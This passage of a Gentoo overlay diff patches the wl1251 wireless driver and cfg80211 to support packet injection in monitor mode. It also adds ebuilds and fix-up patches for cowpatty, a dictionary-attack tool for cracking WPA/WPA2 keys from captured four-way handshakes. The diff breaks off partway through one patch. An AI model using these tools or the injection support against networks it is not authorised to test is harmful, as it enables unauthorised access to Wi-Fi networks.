RATE_9MBPS: ++ status->rate_idx = 5; ++ break; ++ case RATE_18MBPS: ++ status->rate_idx = 7; ++ break; ++ case RATE_24MBPS: ++ status->rate_idx = 8; ++ break; ++ case RATE_36MBPS: ++ status->rate_idx = 9; ++ break; ++ case RATE_48MBPS: ++ status->rate_idx = 10; ++ break; ++ case RATE_54MBPS: ++ status->rate_idx = 11; ++ break; ++ } ++ ++ /* for 1 and 12 Mbps we have to check the modulation */ ++ if (desc->rate == RATE_1MBPS) { ++ if (!(desc->mod_pre & OFDM_RATE_BIT)) { ++ /* CCK -> RATE_1MBPS */ ++ status->rate_idx = 0; ++ } else { ++ /* OFDM -> RATE_12MBPS */ ++ status->rate_idx = 6; ++ } ++ } + +- /* FIXME: set status->rate_idx */ ++ if (desc->mod_pre & SHORT_PREAMBLE_BIT) { ++ status->flag |= RX_FLAG_SHORTPRE; ++ } + } + + static void wl1251_rx_body(struct wl1251 *wl, +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/tx.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/tx.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/tx.c 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/tx.c 2011-08-23 17:07:28.000000000 +0200 +@@ -28,6 +28,7 @@ + #include "tx.h" + #include "ps.h" + #include "io.h" ++#include "event.h" + + static bool wl1251_tx_double_buffer_busy(struct wl1251 *wl, u32 data_out_count) + { +@@ -89,8 +90,12 @@ + /* 802.11 packets */ + tx_hdr->control.packet_type = 0; + +- if (control->flags & IEEE80211_TX_CTL_NO_ACK) ++ /* Also disable retry and ACK policy for injected packets */ ++ if ((control->flags & IEEE80211_TX_CTL_NO_ACK) || ++ (control->flags & IEEE80211_TX_CTL_INJECTED)) { ++ tx_hdr->control.rate_policy = 1; + tx_hdr->control.ack_policy = 1; ++ } + + tx_hdr->control.tx_complete = 1; + +@@ -213,16 +218,30 @@ + wl1251_debug(DEBUG_TX, "skb offset %d", offset); + + /* check whether the current skb can be used */ +- if (!skb_cloned(skb) && (skb_tailroom(skb) >= offset)) { +- unsigned char *src = skb->data; ++ if (skb_cloned(skb) || (skb_tailroom(skb) < offset)) { ++ struct sk_buff *newskb = skb_copy_expand(skb, 0, 3, ++ GFP_KERNEL); ++ ++ if (unlikely(newskb == NULL)) { ++ wl1251_error("Can't allocate skb!"); ++ return -EINVAL; ++ } ++ ++ tx_hdr = (struct tx_double_buffer_desc *) newskb->data; ++ ++ dev_kfree_skb_any(skb); ++ wl->tx_frames[tx_hdr->id] = skb = newskb; ++ ++ offset = (4 - (long)skb->data) & 0x03; ++ wl1251_debug(DEBUG_TX, "new skb offset %d", offset); ++ } + +- /* align the buffer on a 4-byte boundary */ ++ /* align the buffer on a 4-byte boundary */ ++ if (offset) { ++ unsigned char *src = skb->data; + skb_reserve(skb, offset); + memmove(skb->data, src, skb->len); + tx_hdr = (struct tx_double_buffer_desc *) skb->data; +- } else { +- wl1251_info("No handler, fixme!"); +- return -EINVAL; + } + } + +@@ -273,6 +292,9 @@ + info = IEEE80211_SKB_CB(skb); + + if (info->control.hw_key) { ++ if (unlikely(wl->monitor_present)) ++ return -1; ++ + idx = info->control.hw_key->hw_key_idx; + if (unlikely(wl->default_key != idx)) { + ret = wl1251_acx_default_key(wl, idx); +@@ -281,6 +303,22 @@ + } + } + ++ /* Enable tx path in monitor mode for packet injection */ ++ if ((wl->vif == NULL) && !wl->joined) { ++ ret = wl1251_cmd_join(wl, BSS_TYPE_STA_BSS, wl->channel, ++ wl->beacon_int, wl->dtim_period); ++ if (ret < 0) ++ wl1251_warning("join failed"); ++ else { ++ ret = wl1251_event_wait(wl, JOIN_EVENT_COMPLETE_ID, ++ 100); ++ if (ret < 0) ++ wl1251_warning("join timeout"); ++ else ++ wl->joined = true; ++ } ++ } ++ + ret = wl1251_tx_path_status(wl); + if (ret < 0) + return ret; +@@ -368,7 +406,7 @@ + { + struct ieee80211_tx_info *info; + struct sk_buff *skb; +- int hdrlen, ret; ++ int hdrlen; + u8 *frame; + + skb = wl->tx_frames[result->id]; +@@ -380,6 +418,7 @@ + info = IEEE80211_SKB_CB(skb); + + if (!(info->flags & IEEE80211_TX_CTL_NO_ACK) && ++ !(info->flags & IEEE80211_TX_CTL_INJECTED) && + (result->status == TX_SUCCESS)) + info->flags |= IEEE80211_TX_STAT_ACK; + +@@ -407,40 +446,12 @@ + ieee80211_tx_status(wl->hw, skb); + + wl->tx_frames[result->id] = NULL; +- +- if (wl->tx_queue_stopped) { +- wl1251_debug(DEBUG_TX, "cb: queue was stopped"); +- +- skb = skb_dequeue(&wl->tx_queue); +- +- /* The skb can be NULL because tx_work might have been +- scheduled before the queue was stopped making the +- queue empty */ +- +- if (skb) { +- ret = wl1251_tx_frame(wl, skb); +- if (ret == -EBUSY) { +- /* firmware buffer is still full */ +- wl1251_debug(DEBUG_TX, "cb: fw buffer " +- "still full"); +- skb_queue_head(&wl->tx_queue, skb); +- return; +- } else if (ret < 0) { +- dev_kfree_skb(skb); +- return; +- } +- } +- +- wl1251_debug(DEBUG_TX, "cb: waking queues"); +- ieee80211_wake_queues(wl->hw); +- wl->tx_queue_stopped = false; +- } + } + + /* Called upon reception of a TX complete interrupt */ + void wl1251_tx_complete(struct wl1251 *wl) + { +- int i, result_index, num_complete = 0; ++ int i, result_index, num_complete = 0, queue_len; + struct tx_result result[FW_TX_CMPLT_BLOCK_SIZE], *result_ptr; + unsigned long flags; + +@@ -471,18 +482,22 @@ + } + } + +- if (wl->tx_queue_stopped +- && +- skb_queue_len(&wl->tx_queue) <= WL1251_TX_QUEUE_LOW_WATERMARK){ ++ queue_len = skb_queue_len(&wl->tx_queue); + +- /* firmware buffer has space, restart queues */ ++ if ((num_complete > 0) && (queue_len > 0)) { ++ /* firmware buffer has space, reschedule tx_work */ ++ wl1251_debug(DEBUG_TX, "tx_complete: reschedule tx_work"); ++ ieee80211_queue_work(wl->hw, &wl->tx_work); ++ } ++ ++ if (wl->tx_queue_stopped && ++ queue_len <= WL1251_TX_QUEUE_LOW_WATERMARK) { ++ /* tx_queue has space, restart queues */ + wl1251_debug(DEBUG_TX, "tx_complete: waking queues"); + spin_lock_irqsave(&wl->wl_lock, flags); + ieee80211_wake_queues(wl->hw); + wl->tx_queue_stopped = false; + spin_unlock_irqrestore(&wl->wl_lock, flags); +- ieee80211_queue_work(wl->hw, &wl->tx_work); +- + } + + /* Every completed frame needs to be acknowledged */ +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/wl1251.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/wl1251.h +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/wl1251.h 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/wl1251.h 2011-08-23 17:07:26.000000000 +0200 +@@ -92,13 +92,12 @@ + true); \ + } while (0) + +-#define WL1251_DEFAULT_RX_CONFIG (CFG_UNI_FILTER_EN | \ +- CFG_BSSID_FILTER_EN) ++#define WL1251_DEFAULT_RX_CONFIG (CFG_UNI_FILTER_EN | \ ++ CFG_MC_FILTER_EN) + + #define WL1251_DEFAULT_RX_FILTER (CFG_RX_PRSP_EN | \ + CFG_RX_MGMT_EN | \ + CFG_RX_DATA_EN | \ +- CFG_RX_CTL_EN | \ + CFG_RX_BCN_EN | \ + CFG_RX_AUTH_EN | \ + CFG_RX_ASSOC_EN) +@@ -251,6 +250,12 @@ + struct dentry *excessive_retries; + }; + ++enum wl1251_bt_coex_mode { ++ WL1251_BT_COEX_OFF, ++ WL1251_BT_COEX_ENABLE, ++ WL1251_BT_COEX_MONOAUDIO ++}; ++ + struct wl1251_if_operations { + void (*read)(struct wl1251 *wl, int addr, void *buf, size_t len); + void (*write)(struct wl1251 *wl, int addr, void *buf, size_t len); +@@ -296,6 +301,8 @@ + u8 bss_type; + u8 listen_int; + int channel; ++ bool monitor_present; ++ bool joined; + + void *target_mem_map; + struct acx_data_path_params_resp *data_path; +@@ -308,7 +315,6 @@ + bool tx_queue_stopped; + + struct work_struct tx_work; +- struct work_struct filter_work; + + /* Pending TX frames */ + struct sk_buff *tx_frames[16]; +@@ -363,12 +369,17 @@ + /* PSM mode requested */ + bool psm_requested; + ++ /* retry counter for PSM entries */ ++ u8 psm_entry_retry; ++ + u16 beacon_int; + u8 dtim_period; + + /* in dBm */ + int power_level; + ++ int rssi_thold; ++ + struct wl1251_stats stats; + struct wl1251_debugfs debugfs; + +@@ -379,6 +390,8 @@ + + struct ieee80211_vif *vif; + ++ enum wl1251_bt_coex_mode bt_coex_mode; ++ + u32 chip_id; + char fw_ver[21]; + +@@ -409,6 +422,8 @@ + + #define WL1251_DEFAULT_CHANNEL 0 + ++#define WL1251_DEFAULT_BET_CONSECUTIVE 10 ++ + #define CHIP_ID_1251_PG10 (0x7010101) + #define CHIP_ID_1251_PG11 (0x7020101) + #define CHIP_ID_1251_PG12 (0x7030101) +@@ -430,4 +445,7 @@ + #define WL1251_PART_WORK_REG_START REGISTERS_BASE + #define WL1251_PART_WORK_REG_SIZE REGISTERS_WORK_SIZE + ++#define WL1251_DEFAULT_LOW_RSSI_WEIGHT 10 ++#define WL1251_DEFAULT_LOW_RSSI_DEPTH 10 ++ + #endif +diff -Naur compat-wireless-2.6.37-4-sn.orig//net/wireless/chan.c compat-wireless-2.6.37-4-sn/net/wireless/chan.c +--- compat-wireless-2.6.37-4-sn.orig//net/wireless/chan.c 2011-01-13 02:06:38.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/net/wireless/chan.c 2011-08-23 17:07:37.000000000 +0200 +@@ -83,9 +83,6 @@ + struct ieee80211_channel *chan; + int result; + +- if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) +- wdev = NULL; +- + if (wdev) { + ASSERT_WDEV_LOCK(wdev); + +@@ -123,7 +120,9 @@ + } + + result = rdev->ops->set_channel(&rdev->wiphy, +- wdev ? wdev->netdev : NULL, ++ wdev && wdev->iftype != ++ NL80211_IFTYPE_MONITOR ? ++ wdev->netdev : NULL, + chan, channel_type); + if (result) + return result; diff --git a/net-wireless/compat-wireless/metadata.xml b/net-wireless/compat-wireless/metadata.xml new file mode 100644 index 00000000..6e27c023 --- /dev/null +++ b/net-wireless/compat-wireless/metadata.xml @@ -0,0 +1,7 @@ + + + + +Add patches for better wifi injection support + + diff --git a/net-wireless/cowpatty/Manifest b/net-wireless/cowpatty/Manifest new file mode 100644 index 00000000..d7e9de0a --- /dev/null +++ b/net-wireless/cowpatty/Manifest @@ -0,0 +1,7 @@ +AUX cowpatty-4.3-fixup2.patch 7550 RMD160 7b8bbb2266b69cf12290ac825f06efaf59b7c39c SHA1 0a42824828f3a91bb8a072b7210d9015205c096a SHA256 a5f1ea5429afd3a6cfc3509fdc564490f85f006258d11c5dc8b515d9490524e2 +AUX cowpatty-4.3-hashfix.patch 518 RMD160 7056eb376306bd086e7af8ca63f60799e5630cbf SHA1 10ee4c3796664c3f0a421e5f4901086d5985fd27 SHA256 a32d8dc367d858dda7bf557a9c01a5b9509aad04f4d0491100a1e42fdf749c72 +AUX cowpatty-4.6-fixup14.patch 12727 RMD160 fb2c3d60b5f07a9be4a25d7380ee1f33fc95a082 SHA1 635c09a981f30c9604f56497e71a451f00cc37f8 SHA256 49671af83ba4f6551e5b6e96e8036b0fba8929eda5917856c96643a1062a3db4 +DIST cowpatty-4.3.tgz 103720 RMD160 3eff935f1532f84c60bfd576801be4d6911964d1 SHA1 8b7cb2015d0534031827f2f06135bf5cf5929d35 SHA256 b82154c9183fed3c26226c124f5e50ef38adaaafc84c5a13d9256b1ebd489bca +DIST cowpatty-4.6.tgz 104979 RMD160 643e9e675ec06f606c99729289692654ddcbe3b4 SHA1 2dc09d725e4131a68a33c8717d3a7317e5616df2 SHA256 cd3fc113e5052d3ee08ab71aa87edf772d044f760670c73fde5d5581d7803bc2 +EBUILD cowpatty-4.3-r2.ebuild 719 RMD160 7e905574beb66550f4d28e686e36cbed6d59927f SHA1 58524b3354f7a85684c27a9161bcadcfe13fc673 SHA256 816e5ed329658a9ff09d142a70015e879537022aef63ad4e1eb2b0d1d18227ff +EBUILD cowpatty-4.6-r4.ebuild 670 RMD160 873dfed750509f50a4d7777cea257d72c078550e SHA1 61a4620a6f8568beaab0ea66cde4828de258533a SHA256 b9cf08fa1d839e9ba25e8ea65d20e208122b5ea7b397d3a2f323b48f23c4ccf0 diff --git a/net-wireless/cowpatty/cowpatty-4.3-r2.ebuild b/net-wireless/cowpatty/cowpatty-4.3-r2.ebuild new file mode 100644 index 00000000..c60c8302 --- /dev/null +++ b/net-wireless/cowpatty/cowpatty-4.3-r2.ebuild @@ -0,0 +1,28 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit eutils + +DESCRIPTION="WLAN tools for bruteforcing 802.11 WPA/WPA2 keys" +HOMEPAGE="http://www.willhackforsushi.com/Cowpatty.html" +SRC_URI="http://www.willhackforsushi.com/code/${PN}/${PV}/${P}.tgz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="" +DEPEND="dev-libs/openssl + net-libs/libpcap" +RDEPEND="${DEPEND}" + +src_compile() { + epatch "${FILESDIR}"/cowpatty-4.3-fixup2.patch + epatch "${FILESDIR}"/cowpatty-4.3-hashfix.patch + emake -j1 || die "emake failed" +} + +src_install() { + dobin cowpatty genpmk || die "dobin failed" + dodoc AUTHORS CHANGELOG FAQ INSTALL README TODO dict *.dump +} diff --git a/net-wireless/cowpatty/cowpatty-4.6-r4.ebuild b/net-wireless/cowpatty/cowpatty-4.6-r4.ebuild new file mode 100644 index 00000000..7beab82e --- /dev/null +++ b/net-wireless/cowpatty/cowpatty-4.6-r4.ebuild @@ -0,0 +1,28 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +inherit eutils + +DESCRIPTION="WLAN tools for bruteforcing 802.11 WPA/WPA2 keys" +HOMEPAGE="http://www.willhackforsushi.com/?page_id=50" +SRC_URI="http://www.willhackforsushi.com/code/${PN}/${PV}/${P}.tgz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="" + +DEPEND="dev-libs/openssl + net-libs/libpcap" +RDEPEND="${DEPEND}" + +src_compile() { + epatch "${FILESDIR}"/cowpatty-4.6-fixup14.patch + emake -j1 || die "emake failed" +} + +src_install() { + dobin cowpatty genpmk || die "dobin failed" + dodoc AUTHORS CHANGELOG FAQ INSTALL README TODO dict *.dump +} diff --git a/net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch b/net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch new file mode 100644 index 00000000..3ac75910 --- /dev/null +++ b/net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch @@ -0,0 +1,221 @@ +diff -uNr cowpatty-4.3/cowpatty.c cowpatty-4.3-fixup2/cowpatty.c +--- cowpatty-4.3/cowpatty.c 2008-03-20 09:49:38.000000000 -0700 ++++ cowpatty-4.3-fixup2/cowpatty.c 2009-05-21 23:38:17.970291072 -0700 +@@ -71,7 +71,7 @@ + void cleanup(); + void parseopts(struct user_opt *opt, int argc, char **argv); + void closepcap(struct capture_data *capdata); +-void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata); ++void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata, struct user_opt *opt); + void dump_all_fields(struct crack_data cdata); + void printstats(struct timeval start, struct timeval end, + unsigned long int wordcount); +@@ -389,7 +389,7 @@ + return (ret); + } + +-void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata) ++void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata, struct user_opt *opt) + { + struct ieee8021x *dot1xhdr; + struct wpa_eapol_key *eapolkeyhdr; +@@ -415,8 +415,8 @@ + cdata->ver = key_info & WPA_KEY_INFO_TYPE_MASK; + index = key_info & WPA_KEY_INFO_KEY_INDEX_MASK; + +- /* Check for EAPOL version 1, type EAPOL-Key */ +- if (dot1xhdr->version != 1 || dot1xhdr->type != 3) { ++ /* Check for type EAPOL-Key */ ++ if (dot1xhdr->type != 3) { + return; + } + +@@ -427,59 +427,78 @@ + + if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { + /* Check for WPA key, and pairwise key type */ +- if (eapolkeyhdr->type != 254 || ++ if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) || + (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) { + return; + } + } else if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { +- if (eapolkeyhdr->type != 2 || ++ if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) || + (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) { + return; + } + } + ++ if (opt->verbose > 2) { ++ printf ("WPA_KEY_INFO_TYPE_HMAC_MD5_RC4: %d\n", WPA_KEY_INFO_TYPE_HMAC_MD5_RC4); ++ printf ("WPA_KEY_INFO_TYPE_HMAC_SHA1_AES: %d\n", WPA_KEY_INFO_TYPE_HMAC_SHA1_AES); ++ printf ("key version: %d\n", cdata->ver); ++ printf ("eapol key header type: %d\n", eapolkeyhdr->type); ++ } ++ ++ /* Check for frame 1 of the 4-way handshake */ ++ if ((key_info & WPA_KEY_INFO_MIC) == 0 ++ && (key_info & WPA_KEY_INFO_ACK) ++ && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) { ++ /* All we need from this frame is the authenticator nonce */ ++ memcpy(cdata->anonce, eapolkeyhdr->key_nonce, ++ sizeof(cdata->anonce)); ++ cdata->anonceset = 1; ++ + /* Check for frame 2 of the 4-way handshake */ +- if ((key_info & WPA_KEY_INFO_MIC) && (key_info & WPA_KEY_INFO_ACK) == 0 +- && (key_info & WPA_KEY_INFO_INSTALL) == 0 +- && eapolkeyhdr->key_data_length > 0) { +- /* All we need from this frame is the authenticator nonce */ +- memcpy(cdata->snonce, eapolkeyhdr->key_nonce, +- sizeof(cdata->snonce)); +- cdata->snonceset = 1; ++ } else if ((key_info & WPA_KEY_INFO_MIC) ++ && (key_info & WPA_KEY_INFO_INSTALL) == 0 ++ && (key_info & WPA_KEY_INFO_ACK) == 0 ++ && eapolkeyhdr->key_data_length > 0) { + +- } else if ( /* Check for frame 3 of the 4-way handshake */ +- (key_info & WPA_KEY_INFO_MIC) +- && (key_info & WPA_KEY_INFO_INSTALL) +- && (key_info & WPA_KEY_INFO_ACK)) { ++ cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 ) ++ + packet[capdata->dot1x_offset + 3] + 4; + + memcpy(cdata->spa, &packet[capdata->dstmac_offset], +- sizeof(cdata->spa)); +- memcpy(cdata->aa, &packet[capdata->srcmac_offset], +- sizeof(cdata->aa)); +- memcpy(cdata->anonce, eapolkeyhdr->key_nonce, +- sizeof(cdata->anonce)); +- cdata->aaset = 1; +- cdata->spaset = 1; +- cdata->anonceset = 1; +- /* We save the replay counter value in the 3rd frame to match +- against the 4th frame of the four-way handshake */ +- memcpy(cdata->replay_counter, eapolkeyhdr->replay_counter, 8); +- +- } else if ( /* Check for frame 4 of the four-way handshake */ +- (key_info & WPA_KEY_INFO_MIC) +- && (key_info & WPA_KEY_INFO_ACK) == 0 +- && (key_info & WPA_KEY_INFO_INSTALL) == 0 +- && +- (memcmp +- (cdata->replay_counter, eapolkeyhdr->replay_counter, +- 8) == 0)) { ++ sizeof(cdata->spa)); ++ memcpy(cdata->aa, &packet[capdata->srcmac_offset], ++ sizeof(cdata->aa)); ++ memcpy(cdata->snonce, eapolkeyhdr->key_nonce, ++ sizeof(cdata->snonce)); ++ cdata->aaset = 1; ++ cdata->spaset = 1; ++ cdata->snonceset = 1; + + memcpy(cdata->keymic, eapolkeyhdr->key_mic, +- sizeof(cdata->keymic)); ++ sizeof(cdata->keymic)); + memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset], +- sizeof(cdata->eapolframe)); ++ cdata->eapolframe_size); ++ + cdata->keymicset = 1; + cdata->eapolframeset = 1; ++ ++ /* Check for frame 3 of the 4-way handshake */ ++ } else if ((key_info & WPA_KEY_INFO_MIC) ++ && (key_info & WPA_KEY_INFO_ACK) ++ && (key_info & WPA_KEY_INFO_INSTALL)) { ++ /* All we need from this frame is the authenticator nonce */ ++ memcpy(cdata->anonce, eapolkeyhdr->key_nonce, ++ sizeof(cdata->anonce)); ++ cdata->anonceset = 1; ++ ++ } ++ ++ if (opt->verbose > 2) { ++ printf("aaset: %d\n",cdata->aaset); ++ printf("spaset: %d\n",cdata->spaset); ++ printf("snonceset: %d\n",cdata->snonceset); ++ printf("keymicset: %d\n",cdata->keymicset); ++ printf("eapolframeset: %d\n",cdata->eapolframeset); ++ printf("anonceset: %d\n", cdata->anonceset); + } + } + +@@ -507,8 +526,7 @@ + printf("\n"); + + printf("eapolframe is:"); +- lamont_hdump(cdata.eapolframe, 99); /* Bug in lamont_hdump makes this look +- wrong, only shows 98 bytes */ ++ lamont_hdump(cdata.eapolframe, cdata.eapolframe_size); + printf("\n"); + + } +@@ -706,7 +724,7 @@ + } + + hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, +- sizeof(cdata->eapolframe), keymic); ++ cdata->eapolframe_size, keymic); + + if (opt->verbose > 2) { + printf("Calculated MIC with \"%s\" is", passphrase); +@@ -815,7 +833,7 @@ + } + + hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe, +- sizeof(cdata->eapolframe), keymic); ++ cdata->eapolframe_size, keymic); + + if (opt->verbose > 2) { + printf("Calculated MIC with \"%s\" is", passphrase); +@@ -874,7 +892,7 @@ + 0 && (h->len > + capdata.l2type_offset + sizeof(struct wpa_eapol_key))) { + /* It's a dot1x frame, process it */ +- handle_dot1x(&cdata, &capdata); ++ handle_dot1x(&cdata, &capdata, &opt); + if (cdata.aaset && cdata.spaset && cdata.snonceset && + cdata.anonceset && cdata.keymicset + && cdata.eapolframeset) { +@@ -909,7 +927,6 @@ + eapkeypacket = + (struct wpa_eapol_key *)&cdata.eapolframe[EAPDOT1XOFFSET]; + memset(&eapkeypacket->key_mic, 0, sizeof(eapkeypacket->key_mic)); +- eapkeypacket->key_data_length = 0; + + printf("Starting dictionary attack. Please be patient.\n"); + fflush(stdout); +diff -uNr cowpatty-4.3/cowpatty.h cowpatty-4.3-fixup2/cowpatty.h +--- cowpatty-4.3/cowpatty.h 2008-03-20 09:49:38.000000000 -0700 ++++ cowpatty-4.3-fixup2/cowpatty.h 2009-05-21 23:37:52.533281370 -0700 +@@ -94,7 +94,7 @@ + u16 length; + } __attribute__ ((packed)); + +-#define MAXPASSLEN 63 ++#define MAXPASSLEN 64 + #define MEMORY_DICT 0 + #define STDIN_DICT 1 + #define EAPDOT1XOFFSET 4 +@@ -166,7 +166,8 @@ + u8 spa[6]; + u8 snonce[32]; + u8 anonce[32]; +- u8 eapolframe[99]; /* Length the same for all packets? */ ++ u8 eapolframe[99]; ++ u8 eapolframe2[125]; + u8 keymic[16]; + u8 aaset; + u8 spaset; +@@ -177,6 +178,7 @@ + u8 replay_counter[8]; + + int ver; /* Hashing algo, MD5 or AES-CBC-MAC */ ++ int eapolframe_size; + }; + + struct hashdb_head { diff --git a/net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch b/net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch new file mode 100644 index 00000000..2ae6fcd2 --- /dev/null +++ b/net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch @@ -0,0 +1,12 @@ +diff -uNr cowpatty-4.3/cowpatty.c cowpatty-4.3-hashfix/cowpatty.c +--- cowpatty-4.3/cowpatty.c 2008-03-20 09:49:38.000000000 -0700 ++++ cowpatty-4.3-hashfix/cowpatty.c 2008-10-19 23:29:22.000000000 -0700 +@@ -202,7 +202,7 @@ + } + + /* Test that the files specified exist and are greater than 0 bytes */ +- if (!IsBlank(opt->hashfile)) { ++ if (!IsBlank(opt->hashfile) && strncmp(opt->hashfile, "-", 1) != 0) { + if (stat(opt->hashfile, &teststat)) { + usage("Could not stat hashfile. Check file path."); + exit(-1); diff --git a/net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch b/net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch new file mode 100644 index 00000000..c27e2b18 --- /dev/null +++ b/net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch @@ -0,0 +1,346 @@ +diff -uNr cowpatty-4.6/cowpatty.c cowpatty-4.6-fixup14/cowpatty.c +--- cowpatty-4.6/cowpatty.c 2009-07-03 08:15:50.000000000 -0700 ++++ cowpatty-4.6-fixup14/cowpatty.c 2009-07-17 19:16:21.792816008 -0700 +@@ -94,8 +94,7 @@ + "\t-d \tHash file (genpmk)\n" + "\t-r \tPacket capture file\n" + "\t-s \tNetwork SSID (enclose in quotes if SSID includes spaces)\n" +- "\t-2 \tUse frames 1 and 2 or 2 and 3 for key attack (nonstrict mode)\n" +- "\t-c \tCheck for valid 4-way frames, does not crack\n" ++ "\t-c \tCheck for valid 4-way frames, does not crack\n" + "\t-h \tPrint this help information and exit\n" + "\t-v \tPrint verbose information (more -v for more verbosity)\n" + "\t-V \tPrint program version and exit\n" "\n"); +@@ -151,7 +150,7 @@ + + int c; + +- while ((c = getopt(argc, argv, "f:r:s:d:c2nhvV")) != EOF) { ++ while ((c = getopt(argc, argv, "f:r:s:d:cnhvV")) != EOF) { + switch (c) { + case 'f': + strncpy(opt->dictfile, optarg, sizeof(opt->dictfile)); +@@ -166,9 +165,6 @@ + strncpy(opt->hashfile, optarg, sizeof(opt->hashfile)); + break; + case 'n': +- case '2': +- opt->nonstrict++; +- break; + case 'c': + opt->checkonly++; + break; +@@ -435,21 +431,11 @@ + cdata->ver = key_info & WPA_KEY_INFO_TYPE_MASK; + index = key_info & WPA_KEY_INFO_KEY_INDEX_MASK; + +- if (opt->nonstrict == 0) { +- +- /* Check for EAPOL version 1, type EAPOL-Key */ +- if (dot1xhdr->version != 1 || dot1xhdr->type != 3) { +- return; +- } +- +- } else { +- +- /* Check for type EAPOL-Key */ +- if (dot1xhdr->type != 3) { +- return; +- } +- ++ /* Check for type EAPOL-Key */ ++ if (dot1xhdr->type != 3) { ++ return; + } ++ + if (cdata->ver != WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 && + cdata->ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { + return; +@@ -457,12 +443,12 @@ + + if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { + /* Check for WPA key, and pairwise key type */ +- if (eapolkeyhdr->type != 254 || ++ if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) || + (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) { + return; + } + } else if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { +- if (eapolkeyhdr->type != 2 || ++ if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) || + (key_info & WPA_KEY_INFO_KEY_TYPE) == 0) { + return; + } +@@ -472,19 +458,22 @@ + + /* Check for frame 2 of the 4-way handshake */ + if ((key_info & WPA_KEY_INFO_MIC) +- && (key_info & WPA_KEY_INFO_ACK) == 0 +- && (key_info & WPA_KEY_INFO_INSTALL) == 0 +- && eapolkeyhdr->key_data_length > 0) { ++ && (key_info & WPA_KEY_INFO_ACK) == 0 ++ && (key_info & WPA_KEY_INFO_INSTALL) == 0 ++ && eapolkeyhdr->key_data_length > 0) { + + /* All we need from this frame is the authenticator nonce */ + memcpy(cdata->snonce, eapolkeyhdr->key_nonce, + sizeof(cdata->snonce)); + cdata->snonceset = 1; ++ memcpy(cdata->replay_counter1, ++ eapolkeyhdr->replay_counter, 8); ++ cdata->replay_counter1[7] = cdata->replay_counter1[7] + 1; + + /* Check for frame 3 of the 4-way handshake */ + } else if ((key_info & WPA_KEY_INFO_MIC) +- && (key_info & WPA_KEY_INFO_INSTALL) +- && (key_info & WPA_KEY_INFO_ACK)) { ++ && (key_info & WPA_KEY_INFO_INSTALL) ++ && (key_info & WPA_KEY_INFO_ACK)) { + + memcpy(cdata->spa, &packet[capdata->dstmac_offset], + sizeof(cdata->spa)); +@@ -497,15 +486,17 @@ + cdata->anonceset = 1; + /* We save the replay counter value in the 3rd frame to match + against the 4th frame of the four-way handshake */ +- memcpy(cdata->replay_counter, ++ memcpy(cdata->replay_counter2, + eapolkeyhdr->replay_counter, 8); + + /* Check for frame 4 of the four-way handshake */ + } else if ((key_info & WPA_KEY_INFO_MIC) +- && (key_info & WPA_KEY_INFO_ACK) == 0 +- && (key_info & WPA_KEY_INFO_INSTALL) == 0 +- && (memcmp (cdata->replay_counter, +- eapolkeyhdr->replay_counter, 8) == 0)) { ++ && (key_info & WPA_KEY_INFO_ACK) == 0 ++ && (key_info & WPA_KEY_INFO_INSTALL) == 0 ++ && (memcmp (cdata->replay_counter1, ++ cdata->replay_counter2, 8) == 0) ++ && (memcmp (cdata->replay_counter2, ++ eapolkeyhdr->replay_counter, 8) == 0)) { + + memcpy(cdata->keymic, eapolkeyhdr->key_mic, + sizeof(cdata->keymic)); +@@ -513,57 +504,76 @@ + sizeof(cdata->eapolframe)); + cdata->keymicset = 1; + cdata->eapolframeset = 1; ++ cdata->counters = 1; + } +- } else { +- +- /* Check for frame 1 of the 4-way handshake */ +- if ((key_info & WPA_KEY_INFO_MIC) == 0 +- && (key_info & WPA_KEY_INFO_ACK) +- && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) { +- /* All we 